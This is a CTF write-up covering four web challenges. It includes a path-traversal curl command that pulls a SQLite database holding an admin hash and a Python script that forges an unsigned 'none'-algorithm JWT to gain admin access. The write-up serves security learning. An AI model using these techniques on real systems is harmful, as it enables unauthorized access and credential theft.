Web Challenges
vikeMERCH
Description
Welcome to vikeMERCH, your one stop shop for Viking-themed merchandise! We're still working on our website, but don't let that stop you from browsing our high-quality items. We just know you'll love the Viking sweater vest.
Analysis
The main binary used is main.go
which handles all requests, it's using latest version of packages so no vulnaribility there.
The function underConstruction
seemed vulnarable, because we can control Referer header but no SSTI.
func underConstruction(c *gin.Context) {
c.HTML(http.StatusOK, "under-construction.html", gin.H{"BackURL": c.Request.Referer()})
}
No SQLi because the code is using Parameterized Queries which are mostly safe from SQLi.
For password comparision subtle.ConstantTimeCompare is used, which is most secure function so far to compare 2 strings AFAIK. This also means no timing attacks.
So where is the attack vector?...
assets
endpoint was only way to exfiltrate data, but filepath.Clean is not exactly "safe" or works how we think.
More about filepath.Clean
e.GET("/assets", func(c *gin.Context) {
id := c.Query("id")
path := filepath.Join("assets", filepath.Clean(id))
c.File(path)
})
Example: Playground
package main
import (
"fmt"
"path/filepath"
)
func main() {
// Returns: Path: ../db.sqlite3
fmt.Printf("Path: %s\n", filepath.Clean("../db.sqlite3"))
// Returns: Path: Path: /db.sqlite3
fmt.Printf("Path: %s\n", filepath.Clean("/../db.sqlite3"))
}
Solution
└─$ curl 'http://35.94.129.106:3001/assets?id=../db.sqlite3' --path-as-is -o db.sqlite3
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 16384 100 16384 0 0 23849 0 --:--:-- --:--:-- --:--:-- 23883
└─$ sqlite3 db.sqlite3
SQLite version 3.45.0 2024-01-15 17:01:13
Enter ".help" for usage hints.
sqlite> SELECT * FROM user;
admin|a36dc27c2955d4d4ec31f351c49fc7ac63b7e98908077bd1a7f0cfce1875c03d
Login as admin from UI and get flag. or curl:
└─$ curl 'http://35.94.129.106:3001/admin' -d 'username=admin&password=a36dc27c2955d4d4ec31f351c49fc7ac63b7e98908077bd1a7f0cfce1875c03d'
vikeCTF{whY_w0ulD_g0_d0_th15}
Flag: vikeCTF{whY_w0ulD_g0_d0_th15}
Ponies
Description
OH NO, where did all these ponies come from??? Quick, get the flag and sail away before we are overrun!
Solution
If we take a look at source code we can see javascript file being included:
function recursiveSpawn() {
BrowserPonies.spawnRandom(incrementalPonies);
if (!BrowserPonies.running()) {
counter = counter + 1;
document.getElementById("flag").innerHTML = "arriving shortly" + ".".repeat(counter % 4);
setTimeout(recursiveSpawn, intervalMs);
} else {
setTimeout(() => {
var tag = document.createElement("script");
tag.src = "/gag.js";
document.getElementsByTagName("head")[0].appendChild(tag);
}, "7000");
}
}
recursiveSpawn();
└─$ curl http://35.94.129.106:3009/gag.js
document.getElementById("flag").innerHTML = "vikeCTF{ponies_for_life}";
Flag: vikeCTF{ponies_for_life}
movieDB
Description
Ahoy, ye brave movie seekers! Welcome to MovieDB, where the flicks flow like mead and the security... well, let's just say it's a bit like an unlocked treasure chest in a Viking village. But fret not! With a sprinkle of humor and a dash of caution, we'll navigate these cinematic seas together, laughing in the face of cyber shenanigans. So grab your popcorn and let's pillage... I mean, peruse through our database of movie marvels!
Analysis
The application let's us query movies and it has many filters.

I tried different payloads to trigger some kind of error on Title, but no luck. I thought this would be blind SQLi.
Filters only accepted numbers, so no injection there.
<h1>Something went wrong!</h1>
<pre>Traceback (most recent call last):
File "/app/server.py", line 42, in home
params.append(float(min_rating))
^^^^^^^^^^^^^^^^^
ValueError: could not convert string to float: "'"
</pre>
I gave up on injection since no payload seemed to work and decided to enumerate. Visiting /robots.txt
we get /static/flag.txt
and if we visit path we get no
...
flag.txt's content is really
no
Some kind of IP block, e.g.: only localhost can access it.
Before tampering with headers I decided to backtrack a little.
http://35.94.129.106:3003/static/ -> 404 Not Found
http://35.94.129.106:3003/static -> Directory Listing
Notice the slash at the end of the path.
Solution
http://35.94.129.106:3003/static/flag.txt/ -> vikeCTF{y0u_tH0Gh7_iT_w4S_5QL_1Nj3c7i0n}
The flag.txt was a route, not file.
Flag: vikeCTF{y0u_tH0Gh7_iT_w4S_5QL_1Nj3c7i0n}
Jarls Weakened Trust
Description
Jarl's been bragging about becoming an admin on the new axe sharing network. Can you?
Solution
The application is based on JWT token. If you login with anything you get:
Someone with admin permissions will approve your application within the next millenium

JWT Token has random userId and admin set to false
by default. I had 2 attack vectors in mind:
Change algorithm
none
algorithm completely removes use of secret key.
Bruteforce the key
Can be done with john/hashcat/jwt_tool.
I first used https://token.dev to change algorithm to none
, admin -> true and finally change the cookie to become admin.

But this didnt work and I got kicked out of session.
Bruteforce approach also didn't return anything.
Since the only valid approach was algorithm none I decided to automate process with python to check if time was the issue.
import requests
import string
import random
import jwt
import re
random_string = lambda length: ''.join(random.choice(string.ascii_letters) for _ in range(length))
URL = 'http://35.94.129.106:3004/'
resp = requests.post(URL+'join', data={'username': random_string(5), 'password': random_string(5)}, allow_redirects=False)
jwt_token = re.search(r'=(.*?);', resp.headers['Set-Cookie']).group(1)
print(jwt_token)
jwt_token = jwt.decode(jwt_token, options={'verify_signature': False})
jwt_token['admin'] = True
print(jwt_token)
jwt_token = jwt.encode(jwt_token, key='', algorithm=None)
print(jwt_token)
resp = requests.get(URL, cookies=dict(AUTHORIZATION=jwt_token))
flag = re.findall('vikeCTF\{.*?\}', resp.text)
print(flag)
I dont know why I used lambda..... Im ashamed of it, but not gonna change it
And it worked, but the problem was the .
at the end. Since jwt consists of 3 parts it needs 2 .
seperator. https://token.dev removed the dot and hence the first approach failed miserably.
Flag: vikeCTF{134rN_Y0Ur_4160r17HM5}
Last updated